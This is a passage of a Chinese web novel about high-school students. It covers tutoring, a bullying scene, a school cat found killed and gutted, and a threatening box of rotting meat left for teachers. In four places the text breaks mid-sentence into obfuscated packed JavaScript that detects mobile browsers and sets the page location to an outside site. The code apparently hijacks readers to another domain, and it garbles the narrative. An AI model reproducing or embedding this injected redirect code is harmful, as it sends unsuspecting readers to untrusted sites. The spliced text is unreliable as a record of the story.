沈安宴摸够了猫,就让开了位置换别的同学来摸了。 回了教学楼,离晚自习还有一会儿,沈安宴先把今天布置的作业写完,等贺晴天回来后,她跟对方说了自己今天晚自习不在教室待的事。 “要是有老师问,你就说我回家了。”沈安宴道。 走读生可以不上晚自习,沈安宴为了赶文综的进度,除非那天想早点回去睡觉,一般都会选择上的。 贺晴天应了声“好”,作为班长,她又多问了一句:“你要去做什么?” 沈安宴道:“去做家教。” 林跃听到这里转了过来,诧异道:“你还当家教呢?” 沈安宴道:“嗯,反正闲着也是闲着。” 邻桌陈杉忍不住问道:“那你还愿意接收新学生吗,我也想请你当家教。” 林跃搓搓手,笑嘻嘻道:“嘿嘿,那个,其实我也……” 贺晴天道:“那再加个我,要么你干脆开个补习班吧,我们都去上。” 沈安宴无奈道:“这是什么话,大家都是同学,同学之间互帮互助的事,怎么能叫家教呢?你们有不懂的随时可以来问我,我很乐意帮忙。” 大家本也是随口开句玩笑,此时也都笑着应了好。 沈安宴收拾完东西,就朝七班的方向去了。 ———— 今天的七班有些不同寻常,八班一个同学路过,刚开始还没反应过来,等人都走过门口了,才琢磨过来有些不对,又退回去重看了一眼。 里边儿安安静静,没有一个嬉笑打闹的,甚至连看手机的都没有,大家都在端端正正地看书学习。 不过据这位八班同学所见,这学习也就是做做样子,因为这些人要么就是在书上乱涂乱画,要么就是盯着书发呆,要么就是书不知道是什么杂七杂八的闲书。 八班同学偷偷找了个和自己相熟的人,他平时串门闲聊从来不压着声音,但被今天的氛围所感,说话时也忍不住放轻了音量问道:“你们班这是什么情况?” 那人生无可恋道:“陆舟让的,不知道发的什么疯,说让今天晚自习待教室里的都有个学习样子,不干的就别待教室。” 八班同学报以同情的目光。陆舟他知道,海城除了顾家,就数他家最有钱。后边儿两个班的学生十个有九个都是在圈子里混的,就算不刻意讨好,也要小心别跟对方结怨。八班同学就属于后者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16198053|181207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,惹不起还躲不起了?还好他没在七班待着,不用费心跟对方维护关系。 有狗腿子注意到了这边的情况,嚷嚷道:“哎,你是八班的吧?今天不准外班人进来,赶紧出去出去。” 八班同学也没计较对方的语气,跟朋友道过别就赶紧溜了。 陆舟今天早早就回班里坐在了座位上,他提前把课本稿纸还有笔都备齐,就期待着晚自习的到来了。 有人跑过来问道:“陆哥,那谁也在教室里待着,要管他吗?” 这人一边说,一边意有所指地朝角落看了一眼,正是大家都反感的狗尾巴。 一旁有人嚷嚷道:“真没眼色,陆哥,我把他弄出去。” 陆舟往角落瞥了一眼,想起来班上女生好像都挺烦对方的,那盛宴估计也烦,便点了点头。 “快点儿,别叫盛宴看见了。”他说道。 几人得了准话,便笑嘻嘻地去干活儿了。后面响起一阵霹雳乓啷的杂音,还夹杂着一点微弱的求饶声。 陆舟皱了皱眉,回头说道:“你们动静轻点儿,别把座位给碰乱了,弄得好像教室里刚打了一架似的。” 几人连连应是,又分出一人去摆正被碰乱的桌椅。陆舟见一切恢复如常,又少了碍眼的秽气玩意儿,这才满意地继续等人了。 ———— 沈安宴踩着晚自习铃响的点儿进了七班,陆舟一见到对方就兴冲冲地挥了挥手。 “这里这里!” 等沈安宴到跟前时,他忙挪开身侧的椅子,拍拍座椅示意对方坐下来。 沈安宴放好东西,环视一圈班上的环境,意外道:“你们班纪律很好嘛,没老师还这么安静。” 她声音压得低,陆舟也配合地放低了自己的声音。 “你觉得好就行,我还怕他们不好好学习影响你给我讲题呢。” 沈安宴忍不住笑道:“这倒不用担心,你能学进去才是最重要的。” 数学考试的选填部分先不论,这部分题型很散,后边儿的大题倒是比较固定。 陆舟这两天把几何板块学得差不多了,沈安宴在集合和函数两个模块间犹豫了一下,选了更容易上手的集合给对方教了。 陆舟一看到这个就头疼,奇形怪状的符号跟密密麻麻的数字组合到一起实在令人望而生畏。他偷偷看了眼沈安宴的计划书,恳切发问道:“不是要先易后难吗,怎么不先学概率?” 沈安宴道:“集合比概率简单。” 陆舟显然不信:“概率有什么难的,不就是数格子然后再加起来吗?” 沈安宴叹了口气,把高考概率板块的题连着答案给对方看了。 陆舟看完表情有些呆滞,他指着答案解析问道:“这些像数字三的东西是什么?为什么周围还有好多小字母?” 沈安宴道:“这叫Sigma,就是求和符号,m是求和的下界,n是求和的上界……” 她注意到陆舟越来越茫然的神情,默默止住话头,又问道:“所以……你确定要先学概率?” 陆舟道:“我爱集合,小宴老师,咱们学集合吧。” 17. 错位 沈安宴就给对方讲集合的概念了。这部分看着复杂,但只要能搞懂概念,理解起来就简单多了。 她一边讲一边在稿纸上列出关系图,每讲一个,她还会举例辅助理解。 陆舟越听眼睛越亮,一改方才讲概率时一幅听天书的神情。等对方讲完,他激动地说道:“噢——我懂了,原来这么简单!” 沈安宴道:“是吧?那再写几道题巩固一下。” 她给对方布置好了要做的习题,刚准备歇一会儿,就见前桌的同学忽然凑了过来,有些不好意思地问道:“那个,学神,所以那个倒U加个横杠的符号朝向哪个,就说明哪个集合大对吧?” 沈安宴心中默默吐槽了一句,学神是什么土掉渣的称呼,这个班的人真是网络小说看多了,但还是尽职尽责地解答道:“对。” 她想了想,按着对方的说法补充道:“只有一个横杠的两个集合可能相等,下面是不等于符号的是真包含,不可能相等。” 前桌同学高兴地“哎”了一声,见这位年纪第一意外地好说话,又厚着脸皮追问道:“那,学神,其实我还是有点儿没搞懂,元素是什么啊?怎么一会儿是单个拎出来的,一会儿又跑到集合里了?” 坐在斜对面的同学闻言“嗐”了一声,无语道:“学神都讲得那么清楚了你还不懂,亏你还离得那么近。元素不就是集合里边儿的数字嘛!我听了这么一会儿都整明白了。” 沈安宴这才注意到,她在给陆舟讲题的时候,周围同学似乎也在特意听着。 她耐心给对方重新解释了一遍元素和集合的定义与关系,讲完又颇有些好笑地悄声同陆舟说:“你们班人这么好学啊?” 陆舟笑道:“那得看老师是谁,是小宴老师就好学。” 其实大家好学的原因也很简单,大部分是觉得新鲜,毕竟平时听惯了老师讲课,突然来了个同龄人,还是年级上的风云人物,不自觉就多了些兴趣。再者沈安宴讲得又好,集合也不是太难的内容,大家自然也能听懂,不禁就生出了和陆舟如出一辙的“原来所谓的数学题就这?”类似的豪情壮志,兴趣也因此变得更浓了。 概念讲明白了,剩下的时间就是做题讲题。沈安宴等待对方写题的间隙,包里的手机微微震动了一下。 她点开一看,是师音城。 对方发来了一道物理题,问她有没有时间可以讲一下。 沈安宴扫了一眼,心里很快有了思路。她拿过稿纸将解题过程工工整整地写在了上面,拍照给对方发了过去。 盛宴:[图片] 盛宴:能看懂吗,需不需要打电话讲? 音乐之都:[点头] 音乐之都:可以看懂,谢谢小宴姐! 沈安宴看了眼时间,刚过九点,她发信息问道:你今天回家了? 对面很快发来了消息。 音乐之都:我带手机来学校了。不过小宴姐你放心,我不会偷玩的,就是拿来查题。今天这道物理题我想了半个小时都没想出来,网上也搜不到。搞不明白我实在睡不着。 师音城的自制力沈安宴还是信得过的,她发送消息道:好,我知道。快些睡吧,明天还要上课呢。 对面发过来了一个晚安的表情包,聊天界面顶部就显示对方下线了。 陆舟注意到对方的情况,好奇问道:“你在和谁聊天?” 他看了眼桌上写满公式的稿纸,顺口说了句:“这数学题看着还挺别致,又是画图又是这么多字母的。” 沈安宴:…… 她忽然觉得自己的家教之路当真是任重而道远。 “我的另一个家教学生。”沈安宴没在这个问题上多纠结,毕竟纠结太多容易气到自己,就只回答了对方前一个问题。 陆舟闻言题也不写了,他有点吃味地问道:“除了我,你还有别的家教学生啊。” 沈安宴道:“毕竟你家的招聘当时看起来挺不靠谱的,我总得给自己留点儿退路。” 陆舟摸了摸鼻子,想起来自己先前逼走十多个家教老师的丰功伟绩,也不好再吃味了,只得假装不经意问道:“那你有几个家教学生?” 沈安宴道:“加上你有俩。” 陆舟心下微松,追问道:“那另一个是女的男的?多大了?也在咱们这个学校吗?” 沈安宴无语道:“你怎么跟查户口似的。女的,刚上初三,不是这个学校。我大概教到她中考就不教了。” 听到是个女生,陆舟也不吃味了,他奉承道:“你教的学生,中考肯定能得市第一。” 这话沈安宴喜欢听,她笑道:“借你吉言。” 陆舟把对方哄高兴了,又暗戳戳地盘算起自己的小心思:“那……小宴老师,等你教完了她,能不能就不收家教学生了?” 沈安宴瞥对方一眼,笑道:“怎么,你还要买断我家教的业务啊?” 陆舟道:“不行吗,我就想做你唯一的学生。” 沈安宴想了想,反正她在这里又待不了多久,陆家给的工资也够她花了,便点头应了下来。 “行,以后不会再收别的学生了。” ———— 沈安宴心里挂念着顾辞江,第二天到学校,先进的不是自己班,而是跑隔壁班看了一眼。 确认过对方今天在学校后,她方才放心地回班里去了。 男朋友……好吧,现在还不算男朋友。那么喜欢的人生气了该怎么哄? 沈安宴陷入纠结。 她们班没几个男同学,这就有点麻爪了,她甚至找不到男生求教。 沈安宴只得把目光放向了周边。 “你们有人谈过恋爱吗?” 贺晴天刚回座位,就听见自家同桌爆出了这么一句惊天大雷。 林跃摸了摸下巴:“谈恋爱?呃……跟羽毛球谈算吗?我唯一的挚爱就是我的羽毛球拍。” 陈杉道:“谈……倒是谈过,和纸片人算吗?” 沈安宴:“……算了,你们当我说梦话吧。” 贺晴天坐回座位上,见对方看起来挺苦恼的,便出言问道:“你跟顾辞江吵架了?” 沈安宴语气低落:“不算吵架……唉……唉……就是……” 贺晴天大概猜到了几分:“你可以去多找找他,矛盾嘛,越冷处理越糟糕,多聊几次差不多就解了。” 沈安宴觉得有道理。早自习一下,她就跑隔壁班去了。 “你昨天怎么请假了?身体不舒服吗?” 沈安宴凑到顾辞江桌边,小声问道。 顾辞江的动作微微一顿,简单回答道:“没什么。” 沈安宴道:“有事的话随时可以来找我。” 顾辞江不咸不淡地“嗯”了一声。 课间时间短,沈安宴不好多待。她之后下课想去找对方,结果都扑了个空。 李欣然道:“他一下课就出去了,好像是到办公室问老师题了。” 沈安宴有点郁闷。 好在上午最后一节课是数学,老师没拖堂。下课铃声刚一打,沈安宴就“蹭”地一下从座位上站起来。 陈愿正在整理教案,见状调侃道:“哟,这么积极啊,肚子饿了?” 沈安宴道:“是有点,感谢老师不杀之恩。” 周围人发出一阵轻快的笑声。 陈愿也笑道:“行嘞,赶紧去吃饭吧,小心待会儿人多排不上队了。” 一片欢声笑语中,沈安宴出了教室门。隔壁班也才下课,这次她如愿堵到了顾辞江。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16198054|181207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哎,一起去吃饭吗?”沈安宴问道。 顾辞江道:“不了,我还有不会的题要去问,等会儿再去吃。” 沈安宴道:“什么不会的题,我给你讲。现在老师肯定都不太办公室。” 顾辞江沉默了一下。 “那就算了,我先回宿舍,现在还不饿。” 沈安宴道:“那我帮你带饭,可以吗?你想吃什么?” 顾辞江终于妥协了。 “算了,一起去吃吧,不用这么麻烦。” 沈安宴高兴地应了一声,和对方一起去食堂了。 ———— 开始几天,顾辞江还会有意无意地避开对方。但在沈安宴持之以恒的厚脸皮攻势下,他最终还是放弃了回避策略。 毕竟谁也没能耐在对方见缝插针的堵人攻略下成功做到不见面的。 不过见面归见面,一起吃饭归一起吃饭,顾辞江面上依旧对沈安宴冷冷淡淡的。大概是有点赌气的成分在,他也不怕冷场尴尬了。不用主动找话题聊,顾辞江还乐得清闲。 至于沈安宴……这位的感知力更是差到离谱,压根儿就没反应过来对方态度的微妙之处,还想着顾辞江终于不避着自己了,那两人之间的矛盾就已经解决了。 于是就在这样阴差阳错的误会下,两人之间竟还达到了一个双方都满意的、奇妙的平衡。 ———— 上晚自习前,顾辞江在黑板上写下了第二天的课表,手上沾了粉笔灰,他就去卫生间打算洗一洗。 晚自习前这段时间厕所人最多,女生那边门口排起了一条长长的队伍,男厕所门口倒是只有零零星星几个人。 顾辞江刚进去,就看到里面乌泱泱一堆人挤人,甚至连洗手台边都围满了人。 他忍不住皱了皱眉,转身退了出来。 男厕所这一点就不好。女生那边的队伍看起来长,但都井然有序,排队的速度很快,不超过五分钟就能等到。 男生这边儿呢,看似不需要排队,但实际上都是一窝蜂涌进去,看到有空位就挤上去,也不讲先来后到,反正谁先挤过去就是谁的。大家因此也都不愿意在外边等着,全都堵在门口,连想要进来洗抹布涮拖把的同学都找不到下脚的位置。 顾辞江硬可多绕些路,到对面艺术楼的卫生间洗手,也不想去跟一群男生挤。 艺术楼除了有相关的课程时人会多一点,平日里只有特长生会来。现在又是晚自习,里面人就更少了。顾辞江走在长廊上,只能听见自己的脚步声,和窗外隐隐传来的喧闹。 但很快又有新的声音响起,源头正是前方的卫生间。里面传来男生的嬉闹,还夹杂着一点哭声。 顾辞江的脚步顿住了,他隐隐察觉到了那是什么。 他犹豫片刻,还是走了进去。 几个男生围在一起,一边踢踹着中间的男同学,一边笑嘻嘻地想要把对方的头往小便池里塞。 顾辞江敲了敲门,朝几人喊道:“有老师过来了。” 里面的男生闻言慌忙停住动作,几人对视一眼,匆匆朝厕所外走去。其中一个还顺手拍了拍顾辞江的肩,说了声“谢了兄弟”。 等人走远了,顾辞江才看向那个被打的男同学。对方体型肥胖,头发一绺一绺地黏在头皮上,裸露出来的皮肤上面新伤叠旧伤,尽是青紫红肿,身上还散发着一股难闻的气味。 顾辞江很难对这种人生出什么好感,但见对方实在可怜,出于同情心,他还是多问了一句:“需要我带你找老师吗?” 那男生没理他,而是缩成一团爬腿上哭着,喘气声响得像是在嚎叫。 这下顾辞江也不知道该怎么办了。见对方一时半会儿好不了,他犹豫了一下,还是没多管闲事,转身离开了这里。 18. 礼盒 小灰猫在校园里悠闲地迈着步子。现在已经很晚了,除了宿舍楼还有些和它一样的“夜猫子”会搞出点动静,路上已经看不到人了。 猫儿舔了舔自己的爪子。它如今已经没有刚来时那么瘦了。学校里的学生喜欢它得很,时不时就要来给它投喂点火腿鸡肉。小猫被养得圆滚滚的,皮毛也顺滑柔软了不少。 它才草地上打了个滚儿,刚想伸一伸懒腰,耳朵却已经先一步竖了起来。 有人来了。 它好奇地朝声源处看去,小灰猫不怕人,毕竟学校里不论是老师还是学生都喜欢它,这让它不自觉就放松了在外流浪时养成的警惕习惯。 来人穿着它熟悉的衣裳,来给它投喂的学生都这么穿,白白的,蓝蓝的。小灰猫“喵呜”一声,轻巧地跳到了那人脚边。 这是个有些“大”的人,小灰猫心里如是想到,对方和平时来看自己的学生有些不一样。小灰猫知道自己很招人喜欢,任谁见了它都要发出尖叫,然后跑过来给它顺毛喂东西吃。 这人怎么一点反应都没有。 小灰猫决定不跟他计较,它露出了自己圆滚滚的小肚皮,躺在地上翻来翻去。 小猫身前的男学生忽然露出了一个怪异的笑容。 ———— 沈安宴今天来学校时,发现大家似乎都在讨论什么事情。那件事应该算不上好,因为没有人笑,大多数人说起这件事时眉头都是皱着的。 她隐约听到了“猫”、“好多血”、“太恶心了”一些字眼。 等她到了教室,就见林跃她们也凑在一起正说着什么。 林跃见到她也难得没有第一时间过来要早饭,而是瘪着一张嘴,脸上的表情要哭不哭的。 “盛宴,那只小灰猫死了!” 沈安宴闻言一怔,缓缓睁大了眼睛:“什么?!” 陈杉打了个哆嗦:“太恐怖了,我们今早起床来教学楼看到的,那……” 她有些不忍心说下去。 贺晴天道:“我刚刚去办公室的时候还看到老姜在哭呢,她最喜欢猫了,估计得难受好一阵子。” 沈安宴放下书包,朝几人说了声“早饭放里面了,你们帮忙分一下,我去看看”,就奔出了教室。 教学楼分前后两个门,前门正对着学校大门,后门则对着宿舍楼。沈安宴来学校是从前门进的,并没有看到什么猫,那问题大概是在后门那边发生的。 沈安宴跑去了后门。 血,到处都是血。 从花坛到楼梯,尽是淅淅沥沥的血滴。 小猫呢? 沈安宴有些茫然地转动目光,终于看到了它。 …… 她终于明白陈杉当时为什么会露出那么一副欲言又止的表情了。 沈安宴感觉到自己的身体在不可控制地发着抖。 不是害怕,而是因为愤怒。 她听见耳旁有人在说话。 “哎呦,这可怎么处理?” “脏死了,赶紧弄干净。” “那猫呢?” “拿簸箕一装扔垃圾桶去吧。” 沈安宴终于开口了,她说道:“别动那只猫,我来收拾。” 说话的两个男工作人员一愣,齐齐看向她。 沈安宴没管他们,她走到小猫的尸体旁,想要把对方抱起来。 有人拉住了她。 “我拿了塑料袋,把它装这里吧。” 顾辞江握住了对方的手腕,轻声说道。 沈安宴点了点头,接过袋子把灰猫装了起来。 学校操场旁边有一片树林,平时没什么人来,两人决定把小猫埋在那里。 路上,沈安宴问道:“你怎么来了?” 顾辞江道:“刚好去办公室遇到了姜老师,她怕保洁员把猫直接丢掉,让我过来说一声,要是没人愿意处理的话,就让她过来把小猫埋掉。” 沈安宴点了点头。 到了树林,两人一起挖好坑,将灰猫放了进去。 小猫的肚子是空的,抱在手里很轻。 沈安宴把它放进坑底,蹲下来填土的时候,忍不住红了眼眶。 顾辞江心里也难受,他注意到对方的情况,什么也没说,只是轻轻地拍了拍她的肩。 离开前,沈安宴看着那只朴素的小土包发了一会儿呆,捡起路边落下来的一朵小花放了上去。 回到教学楼,沈安宴和顾辞江告别,却没有回班里,而是去了监控室。 她随便找了个借口,说丢了补课费,要查一下监控。应付完了安保人员,沈安宴打开电脑,将时间选到了昨天下晚自习后。 无记录? 沈安宴不可置信地睁大了眼睛,反复刷新屏幕,但显示结果依旧没有改变。 她回头问道:“叔叔,麻烦问一下,为什么我查不到昨天晚上十一点之后的录像?” 男安保闻言一愣,有些心虚地闪烁了一下目光,答非所问道:“你不是丢了东西吗?查这个记录做什么?” 沈安宴道:“就是今天早上来找不到的,得看昨天晚上有没有人来教室。” 她见对方闪烁其词,逼问道:“我丢的钱有好几千,要是查不到,那我就只好报警了。” 男安保闻言忙道:“哎哎哎,再查一下,也不一定就是晚上丢的,你再看看其它时间……” 沈安宴坚持道:“我就要看晚上的监控。” 男安保见对方不肯让步,只得道出了实情。 每天晚上放学员工离开时,都需要关掉电源。每个设备的电源都是分开的,零零散散加起来还挺多。监控的电源按道理来说需要开着。但男安保图省事,为了少按些按钮,每次下班都会把总闸直接一拉。反正晚上学校里又没人,一般不会出什么事儿,监控不到也没什么。 沈安宴气结,海城一中好歹也是个高校,这一天天招的都是些什么人。 这次的事性质非常恶劣,但由于男安保的不负责任,追究一事只得不了了之。那个男安保也因此丢了饭碗。 各班都就此事开展了尊重生命,爱护动物的班会,周一升旗时校领导也强调了学校的纪律校规,放学后的校内巡查也因此事加强了很多。 这件事的影响似乎在慢慢淡去,除了大家上课路上再也遇不到那只见到人会欢快跑来的小灰猫外,似乎并没有其它不同。 只是大家在走到小猫常待的地方时,仍会忍不住叹息一番。 其中数一、二两个班最难过。毕竟那只小猫可是她们最先发现的,之后灰猫在学校常住下,两个班的同学也是最喜欢去投喂撸猫的。 沈安宴今天来得早,她昨天晚自习刷到了一道地理题,问了左右都没人会。这天又没有地理老师的晚自习,沈安宴便攒到了第二天早上问。 如今班上同学和她已经很熟了,表现之一就是沈安宴把装早餐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈安宴忽然想到,为什么要给上面喷香水呢?当然,这并不是新鲜事,的确有人喜欢这种精致调调,但香水味或许有些太浓了。 直觉告诉她,这不对劲。 沈安宴忽然按住了对方的手。 “老师,先别拆。可以让我看一下吗?我觉得这个盒子好像有点问题。”她问道。 英语老师看起来有些疑惑,但还是依言将礼盒递给了对方。 沈安宴接过,将礼盒打开了一条小缝。 在看清里面的东西后,她立刻合上了盖子,又把盒子放在了离两人远一些的地上。 英语老师面色一变。 不必沈安宴多说,她已经明白里面装着的绝对不是什么好东西了。 在礼盒打开的一瞬间,浓烈的腐臭味喷涌而来。好在沈安宴合得快,臭味没有太夸张地扩散开来。 英语老师颤着声音问道:“那……那里面是什么?” 沈安宴犹豫片刻,委婉地说道:“一些肉块。” 英语老师下意识后退了几步,离那礼盒远了些。 沈安宴说的还算保守,那里面不仅有肉块,还有血水,以及蠕动着的白色肉虫,看一眼都让人觉得眼睛像被针扎了一样。 19. 恐吓 这一会儿,已经有不少老师陆陆续续地进来了。 王美心注意到这边的情况,开口问道:“这是怎么了?” 沈安宴指了指脚边的礼盒,解释道:“有人给赵老师桌上放了这个,里面是坏掉的肉块。” 其他老师听到这儿也被吓了一跳,纷纷围过来看。 王美心把礼盒拿到手上,打开看了一眼,又迅速合上。 离她近的老师有的也瞥见了里面的东西,没有看见的,也都闻到了那股腐臭气。 政治老师年纪轻,被吓得差点儿叫出声。 大家都意识到了问题的严重性。 王美心皱了皱眉,先把盒子放到了离大家都比较远的门后,然后才过来说道:“我等会儿给主任说一下这件事,让安保处查一下监控。” 说到监控,大家不由想起了不久前一桩差不多的事情。 陈愿道:“这事儿……不会是杀小猫那个人干的吧?” 英语赵老师脸都白了,她哆嗦着道:“我……我要么今天请个假吧,这也太吓人了……” 姜老师不赞同,她劝道:“现在事情还没查清楚,不论是小猫还是这个礼盒,都能看出来那个人大概是不敢正面出现的,只敢在背地里搞鬼。你跟我们待一块儿,反而能安全些。” 赵老师平复下来,很快也想通了其中关节,而且还想得更多。 “是这个理,万一那人丧心病狂到去我家堵我呢。我女儿住学校应该不影响,等会儿我给她老师打个电话让多操点儿心。再给我老公打个电话,让他今天先别回家住了,在朋友或者亲戚家住一晚。” 陈愿道:“你可以来我家住几天,我家有空的房子。” 王美心道:“不用这么麻烦,住教职工宿舍就行了。” 她说完又看向沈安宴:“你赶紧回班上课去,记住,这事儿别乱传啊。” 沈安宴“哦”了一声,但脚底却没动。 王美心气道:“哎!你这孩子!” 沈安宴道:“老师,我有个想法。今天早上我跟赵老师进门的时候,发现门没锁。” 赵老师闻言忙道:“噢噢,是这样,你们昨天走的时候锁门了吗?” 陈愿道:“我是最后一个走的,绝对锁好了。” 沈安宴道:“那估计就是送礼盒的这个人弄坏的了。可能我把人想得有点坏,但他都大费周章地把锁给弄坏了,会只送个礼盒进来吗?” 其他老师还没懂她的意思,王美心和姜鹤倒是立刻反应过来了。 王美心面色一变,出声道:“大家先出去,我在里面先看一圈。” 沈安宴道:“我也留下。” 见对方要反对,她忙道:“老师,反正那个礼盒我也看了,要看就看全,咱们两个人一起还更快。” 王美心只得同意。 姜鹤道:“你们小心些。” 沈安宴这张嘴,那可真是好的不灵坏的灵。她说礼盒是可爱男同学送的,没一会儿就被打脸。觉得对方可能还送了其他东西,倒是马上就成真了。 两人在办公室里搜罗一圈,不仅在各个老师的抽屉里搜到了各种虫子和带血的肉块,沈安宴还在饮水机底下发现了一只死老鼠。 王美心当时的表情非常精彩。 沈安宴安慰道:“应该是昨天晚上才放进去的。” 还能有什么办法,不信也得逼着自己信了。 王美心叹了口气。 两人把找到的肉块和虫子还有那只死老鼠装了起来,跟礼盒放到了一起。 其他老师知道了这件事,一时间也恐慌起来。 政治老师更是说什么也不愿意再进办公室了。 王美心和姜鹤商量了一下,决定让几位老师先在两个班凑活着坐一会儿,等学校给她们安排了新的办公室再离开。 沈安宴回教室时,林跃凑过来问道:“怎么回事,今天两个班早自习都没老师来,你也没在。贺晴天刚都准备去办公室找人了。” 沈安宴道:“说来话长,唉,反正过会儿你应该会知道的。” 林跃正奇怪着,就见有同学从后门进来,在后边多放了三张桌子。 陈杉也注意到了,她疑惑道:“怎么回事儿,又有转校生要来吗?” 沈安宴道:“是有人要来,但不是学生,大家都认识。” 林跃道:“你别卖关子,到底是什么事儿……唉?等等?” 她话说到一半,就见陈老师和赵老师从后门进来,坐到了新搬来的座位上。 班级一时间沸腾了起来。 后排有胆子大的同学纷纷围过去向老师打听来班里的原因。 陈愿道:“去去去,哪儿来那么多话,数学作业写完了吗?再多嘴今天作业加倍。” 一听作业加倍,大家忙熄了声。 林跃抓心挠肺的,揪住沈安宴问道:“到底出了什么事儿啊?” 沈安宴道:“哎哎,都说了说来话长,反正不是什么好事儿。老师来了,我下课再给你说。” 不过沈安宴下课还是没能说成,因为江小松来了。有这位在,八卦那是没有别人发挥的余地了。 她这回长了记性,一进来先左看右看一圈,刚巧就跟后排的陈愿对上了视线。 江小松忙收起了嬉皮笑脸的姿态,朝对方讨好地笑了笑。 陈愿翻她一个白眼儿,出去上厕所去了。 江小松这才凑到沈安宴这一桌跟前,压低声音道:“你们猜怎么着?老师们为什么突然搬咱们两个班里了?” 贺晴天意外道:“怎么,你们班也来老师了?” 江小松道:“对,历史还有政治小齐老师,我跟齐老师坐的近,刚才上课他把事情的前因后果全跟说了一遍!” 林跃催促道:“你赶紧说正题,到底是什么事儿!” 陈杉也急得催对方赶紧说。 江小松道:“就前几周,咱们学校的小灰猫,你们还记得不。” 说到小灰猫,大家的情绪不由得低落下来。 林跃问道:“这事儿和小灰猫有关系?” 江小松道:“听说是那个虐猫的变态,昨天晚上到咱们两个班的老师办公室送了恐吓信,还给老师桌子柜子里塞了特别多恶心的东西,虫子啊死老鼠啊什么的。” 陈杉忍不住“呕”了一下。 林跃搓了搓胳膊:“我骟,太恶心了,这人心理有问题吧?” 贺晴天道:“查监控了吗?知不知道是谁做的?” 这也是沈安宴最关心的问题,她竖起耳朵听了起来。 江小松道:“我听政治老师说,美心已经把这事儿给主任说了,学校挺重视的,马上就去排查监控了。不过嘛,没出什么结果。” 沈安宴问道:“为什么?办公室外边到处都是监控吧?” 江小松道:“都被人弄坏了!虽然拍到了那个人的样子,但那人反侦查意识还挺强,全身武装的……” 她一边说,一边掏出手机点开相片给几人展示。 “我问小齐老师要的,你们看。” 沈安宴朝屏幕上看去,监控的质量一般 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16198056|181207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,拍下的照片也有些失真,只能看出对方体型挺大,戴着兜帽和口罩。 “哎——被我逮住了吧?” 一只手凭空伸出,端走了江小松的手机。 陈愿把手机塞进上衣兜里,挑眉道:“三个老师都在教室待着呢,你还敢玩儿手机,胆儿挺肥啊?” 江小松苦着脸,试图给自己求情:“老师,我不是故意的,我给她们看凶手呢,想早点儿帮你们找到那个死变态!” 陈愿道:“哦?消息这么灵通,谁你的照片?学校不是说了不许外传吗?” 江小松忙噤声了。 陈愿瞥她一眼,被对方那痛不欲生的表情给逗笑了。她笑道:“看你这周表现,良好的话周末还你。” 江小松又重新露出了笑脸。 和小灰猫一样,办公室收到恐吓礼盒的事因为找不到人,也在学校雷声大雨点小的行动下不了了之了。 任课老师在两个班凑活了一天,学校派人给办公室进行了全面的消杀处理,让老师们重新搬回去。 其中政治老师最不情愿,他提了好几次想换办公室,都被主任劝回去了。 这件事闹出的影响挺大,起码最近一段时间,老师们下班后一定要再三确认过办公室的门锁好了,看到工位上有莫名出现的礼物,也不敢随便收下。 政治老师还学网上流行的反侦查手段,锁门时给门缝里夹几根头发,第二天来时再检查头发的位置有没有变动。 可惜效果不明显,毕竟学校里人来人往,难免会有磕碰,头发的位置第二天肯定会变。 政治老师头几次被吓得不轻,还当办公室又遭殃了,弄清楚是乌龙后,才不好意思地停下了这个反侦查行动。 ———— 还在持续关注这件事的大概只有沈安宴了。在恐吓礼盒的风波平息后,她没和任何人说,等放学后等大家都走了,她便关上了教室的灯。一片黑暗中,她走到角落的座位坐下了。 沈安宴打算蹲点,据她所见,做出这些的事的人就像是阴沟里的老鼠,有一点小聪明,只要弄不死,他一定会一而再再而三地出来找存在感。 学校除了查查监控开开大会就没有下一步的动作了,但她可不愿就这样善罢甘休。不论是小灰猫,还是教她的老师,对她都很重要。 她一定要把这只讨厌的老鼠抓出来。 ———— 沈安宴很有耐心,即便头几天没有任何收获她也不着急,依旧老神在在地等着。 不过在教室里过夜终究不怎么舒适,好在现在是秋天,温度适宜,总归不会太难熬。 就这么过了几天,身边人都发现了她的不对劲。林跃忍不住问道:“你这几天究竟在做什么?精神头也太差了吧?” 沈安宴揉了揉酸痛的脖子,闻言道:“还成吧,没什么事。” 